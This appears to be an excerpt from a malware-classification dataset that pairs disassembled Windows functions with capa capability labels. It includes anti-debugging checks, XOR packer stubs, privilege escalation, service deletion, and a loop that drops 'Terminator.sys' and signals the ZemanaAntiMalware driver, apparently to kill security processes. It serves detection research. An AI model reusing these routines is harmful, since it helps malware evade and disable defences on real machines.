joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5e71b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.005e7140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.005e7140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.005e7140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.005e7140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0x5e7bfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x5e7c50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x5f987c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x5e7c43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x5e7c52
xor eax, eax
pop esi
leave
ret 4
Function at 0x412722
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
cmp dword [0x4186e0], 0
push ebx
push esi
mov esi, 0x4186e8
jne 0x41274e
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
push esi
mov dword [0x418700], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x4186e0], 1
push dword [0x418700]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebx, eax
test ebx, ebx
jne 0x4127eb
push 0x14
push 8
push dword [0x418068]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x412815
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x4186e4]
test eax, eax
je 0x412790
mov dword [eax], ebx
push edi
push esi
mov dword [ebx + 4], eax
mov dword [0x4186e4], ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea edi, [ebx + 0x10]
push 0
push 0
push 0x100000
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 8
push 0xffffffffffffffff
push ebx
push 0x41281a
push dword [edi]
lea eax, [ebx + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
push ebx
push dword [0x418700]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop edi
push 0xc
push 0
push dword [0x418068]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x412815
mov ecx, dword [esp + 0xc]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x10]
mov dword [eax + 8], ecx
mov ecx, dword [ebx + 8]
mov dword [eax], ecx
mov dword [ebx + 8], eax
pop esi
pop ebx
ret 8

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x407ef8
nop
mov ecx, 0x71c6678a
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e024
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
mov ecx, 0x72650f2a
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
jne 0x42e06c
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x402cac
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
movzx eax, word [eax + 0x14]
add eax, dword [ebp + 0xc]
add eax, 0x18
xor ecx, ecx
jmp 0x402ce0
mov edx, dword [eax + 8]
test edx, edx
jne 0x402ccf
mov edx, dword [eax + 0x10]
mov esi, dword [eax + 0xc]
cmp ebx, esi
jb 0x402cdc
add edx, esi
cmp ebx, edx
jb 0x402ced
inc ecx
add eax, 0x28
mov edx, dword [ebp + 0xc]
movzx edx, word [edx + 6]
cmp ecx, edx
jb 0x402cc5
xor eax, eax
pop esi
pop ebx
pop ebp
ret
Function at 0x402d28
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
cmp word [edi], 0x5a4d
je 0x402d42
xor eax, eax
jmp 0x402ec2
mov ebx, dword [edi + 0x3c]
add ebx, edi
cmp dword [ebx], 0x4550
je 0x402d56
xor eax, eax
jmp 0x402ec2
cmp word [ebx + 0x14], 0xe0
jne 0x402d66
cmp word [ebx + 0x18], 0x10b
je 0x402d6d
xor eax, eax
jmp 0x402ec2
mov dword [0x450b74], edi
mov ebx, dword [edi + 0x3c]
mov esi, edi
add ebx, esi
mov eax, dword [ebx + 0x78]
mov dword [ebp - 0x18], eax
push ebx
mov edx, dword [ebp - 0x18]
push edx
call fcn.00402cac
add esp, 8
test eax, eax
jne 0x402d98
xor eax, eax
jmp 0x402ec2
mov edx, dword [0x450b74]
push edx
push ebx
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.00402cf4
add esp, 0xc
mov ebx, dword [ebx + 0x78]
test ebx, ebx
jne 0x402dca
push 0x10
push 0
push str.Error_in_GetProcAddressDirectly__
push 0
call fcn.0046697b
xor eax, eax
jmp 0x402ec2
add ebx, esi
mov edx, dword [ebx + 0x24]
add edx, esi
mov dword [ebp - 4], edx
mov ecx, dword [ebx + 0x20]
add ecx, esi
mov dword [ebp - 0xc], ecx
mov eax, dword [ebx + 0x1c]
add eax, esi
mov dword [ebp - 8], eax
mov edx, dword [ebp + 0xc]
mov ecx, edx
shr ecx, 0x10
test cx, cx
je 0x402e94
xor esi, esi
mov eax, dword [ebp - 8]
mov edx, eax
mov dword [ebp - 0x28], edx
jmp 0x402e86
mov ecx, dword [ebp - 8]
mov eax, dword [ecx]
test eax, eax
je 0x402e81
xor edx, edx
mov dword [ebp - 0x14], edx
mov ecx, dword [ebp - 0x28]
mov eax, ecx
mov dword [ebp - 0x24], eax
mov edx, dword [ebp - 0xc]
mov ecx, edx
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 4]
mov edx, eax
mov dword [ebp - 0x1c], edx
jmp 0x402e78
mov ecx, dword [ebp - 0x1c]
movzx eax, word [ecx]
cmp esi, eax
jne 0x402e6d
mov edx, dword [ebp - 0x20]
mov ecx, dword [edx]
add ecx, edi
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp + 0xc]
mov cl, byte [eax]
cmp cl, byte [edx]
jne 0x402e6d
test cl, cl
je 0x402e62
mov cl, byte [eax + 1]
cmp cl, byte [edx + 1]
jne 0x402e6d
add eax, 2
add edx, 2
test cl, cl
jne 0x402e46
jne 0x402e6d
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
add eax, edi
jmp 0x402ec2
inc dword [ebp - 0x14]
add dword [ebp - 0x20], 4
add dword [ebp - 0x1c], 2
mov edx, dword [ebx + 0x18]
dec edx
cmp edx, dword [ebp - 0x14]
jae 0x402e2c
inc esi
add dword [ebp - 0x28], 4
mov ecx, dword [ebx + 0x14]
dec ecx
cmp esi, ecx
jbe 0x402e04
jmp 0x402ec0
xor esi, esi
mov eax, dword [ebp - 8]
jmp 0x402eb8
mov ecx, dword [ebx + 0x10]
add ecx, esi
cmp edx, ecx
jne 0x402eb4
cmp dword [eax], 0
je 0x402eb4
mov edx, dword [eax]
shl edx, 6
add edi, edx
mov eax, edi
jmp 0x402ec2
inc esi
add eax, 4
mov ecx, dword [ebx + 0x14]
dec ecx
cmp esi, ecx
jbe 0x402e9b
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403090
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x30]
movzx eax, byte [eax + 2]
or al, al
je 0x4030a9
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x403384
Capabilities:
Check for software breakpoints
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
mov eax, fcn.00401634
mov dword [ebp - 4], eax
mov esi, dword [ebp - 4]
mov al, byte [esi]
cmp al, 0xcc
je 0x403437
mov eax, 0x401250
mov dword [ebp - 8], eax
mov esi, dword [ebp - 8]
mov al, byte [esi]
cmp al, 0xcc
je 0x403437
mov eax, 0x403528
mov dword [ebp - 0xc], eax
mov esi, dword [ebp - 0xc]
mov al, byte [esi]
cmp al, 0xcc
je 0x403437
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 8]
xor ebx, ebx
mov edi, 0x20
mov ecx, dword [eax + 4]
mov eax, dword [ebp + 0xc]
mov edx, dword [edx]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x1c], eax
jmp 0x403437
add ebx, 0x9e3779b9
mov eax, ecx
shl eax, 4
add eax, dword [ebp - 0x10]
lea esi, [ebx + ecx]
xor eax, esi
mov esi, ecx
shr esi, 5
add esi, dword [ebp - 0x14]
xor eax, esi
add edx, eax
mov eax, edx
shl eax, 4
add eax, dword [ebp - 0x18]
lea esi, [ebx + edx]
xor eax, esi
mov esi, edx
shr esi, 5
add esi, dword [ebp - 0x1c]
xor eax, esi
add ecx, eax
mov eax, edi
add edi, 0xffffffff
test eax, eax
jg 0x4033ff
mov eax, dword [ebp + 8]
mov dword [eax], edx
mov edx, dword [ebp + 8]
mov dword [edx + 4], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403454
Capabilities:
Check for software breakpoints
Decrypt data using tea

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
mov eax, fcn.00401634
mov dword [ebp - 4], eax
mov esi, dword [ebp - 4]
mov al, byte [esi]
cmp al, 0xcc
je 0x40350a
mov eax, 0x401250
mov dword [ebp - 8], eax
mov esi, dword [ebp - 8]
mov al, byte [esi]
cmp al, 0xcc
je 0x40350a
mov eax, fcn.00403454
mov dword [ebp - 0xc], eax
mov esi, dword [ebp - 0xc]
mov al, byte [esi]
cmp al, 0xcc
je 0x40350a
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 8]
mov ebx, 0xc6ef3720
mov edi, 0x20
mov ecx, dword [edx]
mov edx, dword [eax + 4]
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x1c], eax
jmp 0x40350a
mov eax, ecx
shl eax, 4
add eax, dword [ebp - 0x18]
lea esi, [ebx + ecx]
xor eax, esi
mov esi, ecx
shr esi, 5
add esi, dword [ebp - 0x1c]
xor eax, esi
sub edx, eax
mov eax, edx
shl eax, 4
add eax, dword [ebp - 0x10]
lea esi, [ebx + edx]
xor eax, esi
mov esi, edx
shr esi, 5
add esi, dword [ebp - 0x14]
xor eax, esi
sub ecx, eax
sub ebx, 0x9e3779b9
mov eax, edi
add edi, 0xffffffff
test eax, eax
jg 0x4034d2
mov eax, dword [ebp + 8]
mov dword [eax], ecx
mov ecx, dword [ebp + 8]
mov dword [ecx + 4], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40bbc8
Capabilities:
Hash data with crc32

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
mov edi, 0x4503d8
sub eax, eax
test esi, esi
je 0x40bca8
sub eax, 1
test ecx, ecx
je 0x40bca6
test esi, 3
je 0x40bc06
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x40bbeb
mov edx, ecx
and edx, 7
shr ecx, 3
je 0x40bc8d
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x40bc14
mov ecx, edx
test ecx, ecx
je 0x40bca6
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x40bc93
not eax
mov dword [esp + 0x1c], eax
popal
ret

Function at 0x40bc84
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
mov edi, 0x4503d8
sub eax, eax
test esi, esi
je 0x40bca8
sub eax, 1
test ecx, ecx
je 0x40bca6
test esi, 3
je 0x40bc06
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x40bbeb
mov edx, ecx
and edx, 7
shr ecx, 3
je 0x40bc8d
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x40bc14
mov ecx, edx
test ecx, ecx
je 0x40bca6
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x40bc93
not eax
mov dword [esp + 0x1c], eax
popal
ret
Function at 0x45bc2b
Capabilities:
Encode data using xor

Disassembly:
pushfd
lea ecx, [ecx - 0x768d1e78]
jmp 0x4729a2
mov bh, 0x15
add byte [esi + 0xe22653d], ch
and cl, byte [esi]
xor eax, 0xd581e855
jmp 0xa6577137
mov byte [esp], 0xb8
call 0x4632bb
fisttp qword cs:[ecx]
push edi
shr ch, cl
sbb bh, byte [ebx - 0x29]
push edx
or al, 0xee
jns 0x4729e0
popfd
out 9, al
push 0x37a0f889
aas
out 2, al
jle 0x47297f
cmp bl, byte [ebp - 0x78]
mov edi, dword [edi]
pop ds
xor al, 0x8e
mov edi, 0x8ac40ebe
frstor dword [ecx + ecx*2]
fidivr dword [ecx - 0x47]
fcom qword [ebx + 0x47]
les edx, [esi - 0x74]
mov ecx, 0x9d5fe6e9
add al, 0xca
xchg edx, eax
salc
push ecx
push edx
pushal
out dx, al
out 0x79, al
xor al, 0xa0
lahf
jle 0x4729dc
jmp 0x4e489cb
xchg ebx, eax
xor eax, 0xe150161d
fidiv word [esi]
or dh, dl
pop ebx
pop ebp
xor al, 0x7a
adc dword [ebx + 0x1c], 0xffffffd2
jp 0x472985
push ebx
sbb al, 0xd2
mov al, byte [0xdcc48ff4]
cmpsd dword [esi], dword es:[edi]
inc ecx
cmp eax, dword [0x3f37a074]
add al, 0x67
jle 0x472a00
pop esp
mov byte [ebx + 0x5dfeefcc], cl
inc esi
adc dl, dh
mov esi, 0x3d0eed10
push ebp
xchg ebx, eax
pop ebx
inc esp
out dx, al
push 0x26
push esi
shr ch, cl
in eax, 0xc4
mov dh, 0xd8
imul esi, dword [eax + 0x7f], 4
or dword [edi - 0x16], ebp
mov byte [edi], cl
jp 0x4729e0
aaa
aas
xor ecx, dword [ebx + 0x32]
sahf
pop ebp
mov byte [ebx - 0x41df7bff], cl
pushfd
mov esi, 0xee6b589e
cmp dl, al
scasb al, byte es:[edi]
jae 0x472ac3
pop ecx
scasb al, byte es:[edi]
shl dword [edi - 0x78], 0xce
imul edx, dword [esi - 0x5c], 0x6ca33243
neg dword [ebx - 0x7278f68e]
sbb ah, bl
adc ecx, dword gs:[ecx]
sub al, 0xab
or byte [ecx - 0x51941909], dh
mov dword [esi - 0x7e], edi
jg 0x472a9c
pop edx
lcall 0x6650, 0x4e3e55d
lds esi, [ebx - 0x29b04519]
insd dword es:[edi], dx
or dword [ebp - 0x2d], 0xffffffdc
rcl dword [esi + 0x75]
mov ebp, 0x46f89e11
in al, dx
push cs
lea edx, [edx + 0x10fa52be]
xchg ecx, eax
xchg edx, eax
mov esi, 0x9110fa52
invalid
mov dword [0x954ee800], 0xc1bdffff
inc eax
add bh, bh
je fcn.00472af7
add al, 0xe8
outsb dx, byte [esi]
pop esp
invalid

Function at 0x46e6fd
Capabilities:
Packed with generic packer

Disassembly:
push ebx
mov edx, dword [edx + 0x5c655]
jmp 0x46f85f
push ebp
lea edx, [edx + 0x77da63b2]
call fcn.00464c72
Function at 0x46f86b
Capabilities:
Packed with generic packer

Disassembly:
push eax
mov byte [esp], 0x90
nop
pushal
xchg dword [esp + 0x20], ebp
push eax
mov ebp, 0x40a397
pushfd
call fcn.0046e6e0
sahf
and al, 0x61
pop esi
push esi
int3
add al, 0x70
pop ss
push cs
in eax, 0xc6
add al, 0x24
sbb al, bh
add al, 0x24
lodsb al, byte [esi]
lcall 0x2464, 0x8d602f72
and cl, ch
xchg byte [esi], ah
stc
call dword [edi - 0x70]
jb 0x46f87c
pushal
lea esp, [esp + 0x20]
jmp loc.00401edd
pushal
jmp 0x47248e
push esp
invalid
pushal
call fcn.004721d8
xor eax, 0xd287d339
in eax, dx
push eax
jae 0x46f81b
and al, 0x7a
fist dword [ebp - 0x770bf5b4]
pop ebp
movntps xmmword [edx], xmm5
arpl word [ecx], bx
dec eax
jge 0x46f83d
push 0x54
ja 0x46f868
nop
or dword [ebx], edx
jle 0x46f8e2
stc
xchg ecx, eax
cmp al, 0x74
xchg edi, eax
mov word [ebp - 0x71fd4383], gs
push 0x16
jnp 0x46f84b
mov al, 0xa3
test byte [ebp - 0x4f], ch
test eax, esi
dec edx
pop ebx
leave
aad 0xae
mov bl, 0xba
cmpsd dword [esi], dword es:[edi]
imul edi, dword [esi + 0x34e4f1be], 0xd4a2fa99
mov dh, 0x52
mov ch, 0x59
fist word [edi - 0x21]
xor ebx, edi
add dword [edx + 0x68ca255e], eax
sal byte [ecx + 0x69eacb3d], 1
mov eax, 0x12b839c3
inc eax
in eax, 0xe9
neg dword [eax]
push 0x1b
mov ebp, 0xedd2874f
in eax, dx
mov edi, 0xeab64e70
pop ebx
xor eax, 0xab3991c6
popal
in eax, dx
or byte [ecx], bh
xchg ebx, eax
invalid
mov byte [esp + 4], 0x9c
xchg dword [esp + 0x20], eax
pop eax
not al
movsx ax, dl
bswap ax
mov eax, 0x402eff
push dword [esp + 0xc]
push 0x9bc73e25
mov byte [esp + 4], 0x56
mov eax, dword [eax + 0x6fa9f]
call fcn.00463345
jmp 0x461c02

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
mov ecx, 0x3fce7302
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43104e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x431024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x34492602
test eax, eax
nop
nop
nop
nop
je 0x431084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x43b63b
Capabilities:
Encode data using xor

Disassembly:
push 0x43b3c1
pop edi
and ebx, ecx
inc ecx
call fcn.0043b669
sub ebx, 0x1ee9851e
add ebx, 0x2345d2b8
mov ecx, 0x42698de5
xor dword [eax], edi
add ecx, ecx
inc eax
inc ecx
cmp eax, esi
jne fcn.0043b63b
dec ecx
ret
Function at 0x401070
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x42f05c]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.004011b0
test eax, eax
jne 0x401091
call fcn.00401240
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push str.Terminator.sys
lea ecx, [ebp - 0x108]
push ecx
call fcn.0040c600
add esp, 8
lea edx, [ebp - 0x108]
push edx
call fcn.00401660
add esp, 4
test eax, eax
jne 0x4010d2
or eax, 0xffffffff
jmp 0x401197
lea eax, [ebp - 0x108]
push eax
call fcn.00401360
add esp, 4
test eax, eax
jne 0x4010ed
or eax, 0xffffffff
jmp 0x401197
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push str..ZemanaAntiMalware
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0xffffffff
jne 0x40111e
or eax, 0xffffffff
jmp 0x401197
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x110], eax
push 0
push 0
push 0
push 0
push 4
lea ecx, [ebp - 0x110]
push ecx
push 0x80002010
mov edx, dword [ebp - 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x401163
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or eax, 0xffffffff
jmp 0x401197
mov ecx, 1
test ecx, ecx
je 0x401188
mov edx, dword [ebp - 0x10c]
push edx
call fcn.00401550
add esp, 4
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401163
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407db3
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4011b0
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x42f05c]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov byte [ebp - 0xc], 0
mov byte [ebp - 0xb], 0
mov byte [ebp - 0xa], 0
mov byte [ebp - 9], 0
mov byte [ebp - 8], 0
mov byte [ebp - 7], 5
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea ecx, [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x401227
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x10]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407db3
mov esp, ebp
pop ebp
ret
Function at 0x401240
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
mov eax, dword [0x42f05c]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [ebp - 0x144], 0x3c
push 0x38
push 0
lea ecx, [ebp - 0x140]
push ecx
call fcn.004097f0
add esp, 0xc
mov dword [ebp - 0x138], str.runas
lea edx, [ebp - 0x108]
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x13c], 0
mov dword [ebp - 0x128], 0
lea eax, [ebp - 0x144]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x4012c6
push 1
call fcn.0040cb5d
push 0
call fcn.0040cb5d
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407db3
mov esp, ebp
pop ebp
ret

Function at 0x4012e0
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x42f05c]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x20]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x40131d
xor eax, eax
jmp 0x401352
cmp dword [ebp - 0x1c], 1
je 0x40133b
lea eax, [ebp - 0x20]
push eax
push 1
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x40133b
xor eax, eax
jmp 0x401352
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x40134d
xor eax, eax
jmp 0x401352
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407db3
mov esp, ebp
pop ebp
ret